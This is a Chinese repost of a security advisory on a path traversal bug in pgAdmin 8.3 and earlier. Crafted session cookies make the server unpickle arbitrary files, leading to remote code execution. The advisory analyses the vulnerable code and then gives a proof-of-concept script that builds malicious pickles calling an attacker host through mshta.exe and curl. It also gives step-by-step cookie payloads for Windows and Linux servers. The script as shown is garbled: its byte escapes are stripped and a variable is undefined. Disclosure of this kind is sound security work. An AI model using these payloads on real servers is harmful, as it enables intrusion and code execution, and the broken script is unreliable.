概括
pgAdmin <= 8.3 在会话处理代码中反序列化用户会话时受到路径遍历漏洞的影响。如果服务器在 Windows 上运行,未经身份验证的攻击者可以加载和反序列化远程 pickle 对象并获得代码执行权。如果服务器在 POSIX/Linux 上运行,经过身份验证的攻击者可以上传 pickle 对象,反序列化它们并获得代码执行权。
产品描述(来自供应商)
“pgAdmin 是世界上最先进的开源数据库 PostgreSQL 最受欢迎且功能丰富的开源管理和开发平台。pgAdmin 可在 Linux、Unix、macOS 和 Windows 上使用来管理 PostgreSQL 和 EDB Advanced Server 11 及更高版本。” 欲了解更多信息,请访问https://www.pgadmin.org/。
细节
根本原因分析
pgAdmin4 使用基于文件的会话管理方法。会话文件作为 pickle 对象保存在磁盘上。当用户执行请求时,会话 cookie 的值pga4_session用于检索文件,然后反序列化其内容,最后验证其签名。
该类ManagedSessionInterface实现了 FlaskSessionInterface来读取用户的 cookie 并将其转换为会话:
def open_session(self, app, request):
cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])
if not cookie_val or '!' not in cookie_val:
return self.manager.new_session()
sid, digest = cookie_val.split('!', 1)
if self.manager.exists(sid):
return self.manager.get(sid, digest)
return self.manager.new_session()
cookie 值在第一个字符处分为两部分!。第一部分是会话 ID ( sid),第二部分是会话摘要。
该漏洞存在于通过将位于 pgAdmin4 内部的文件夹与会话 IDFileBackedSessionManager.get连接来加载会话文件的方法中。准确地说,这两个值是使用该函数连接起来的。sessionsDATA_DIRos.path.join
这个函数有两个缺点:
-
它没有设置不应转义的受信任基本路径,因此os.path.join("/opt/safe/", "../../etc/passwd")返回/etc/passwd。
-
它使用其参数中最右边的绝对路径作为根路径,因此os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd")返回/etc/passwd。
以下代码片段显示了易受攻击的代码,并添加了注释:
def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable
'Retrieve a managed session by session-id, checking the HMAC digest'
fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path
data = None
hmac_digest = None
randval = None
if os.path.exists(fname):
try:
with open(fname, 'rb') as f: # <-- open will read a file from the absolute path
randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-point
except Exception:
pass
# ...SNIP...
概念验证
初始设置
1.在面向公众的主机上公开 SMB 服务器:
2.在面向公众的主机上公开 HTTP 服务器。
3.保存以下代码片段并运行它,python3 pickler.py '<attacker_host>'替换<attacker_host>为步骤 2 中设置的 HTTP 服务器的 IP/域,以创建两个序列化对象,一个用于 Windows ( nt.pickle),一个用于 Linux/POSIX ( posix.pickle),它将执行 HTTP 请求反序列化时的<attacker_host>。
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'x80x04x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'x94x8cx06systemx94x93x94'
b += b'x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'x94x85x94Rx94.'
print(b)
return b
if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))
Windows
-
nt.pickle使用 SMB共享公开文件
-
在 Windows 上部署 pgAdmin4 服务器
-
访问 pgAdmin4 登录页面
-
打开浏览器的开发者工具并将pga4_sessioncookie值更改为//<attacker_host>/share/nt.pickle!a替换<attacker_host>为SMB服务器的IP/域
-
请注意,该nt.pickle文件是从 SMB 共享中检索的
-
请注意,向 HTTP 服务器执行了 HTTP 请求,确认代码执行
Linux/POSIX
-
在 Linux 上部署 pgAdmin4 服务器
-
使用有效的用户帐户登录
-
访问存储管理器组件
-
上传posix.pickle文件
-
打开浏览器的开发者工具,将pga4_sessioncookie值改为../storage/<email>/posix.pickle!a替换为<email>后替换为当前登录用户的邮箱@_
-
请注意,向 HTTP 服务器执行了 HTTP 请求,确认代码执行
原文地址:
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
原文始发于微信公众号(Ots安全):pgAdmin (<=8.3) 会话处理中的路径遍历导致不安全的反序列化和远程代码执行 (RCE)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论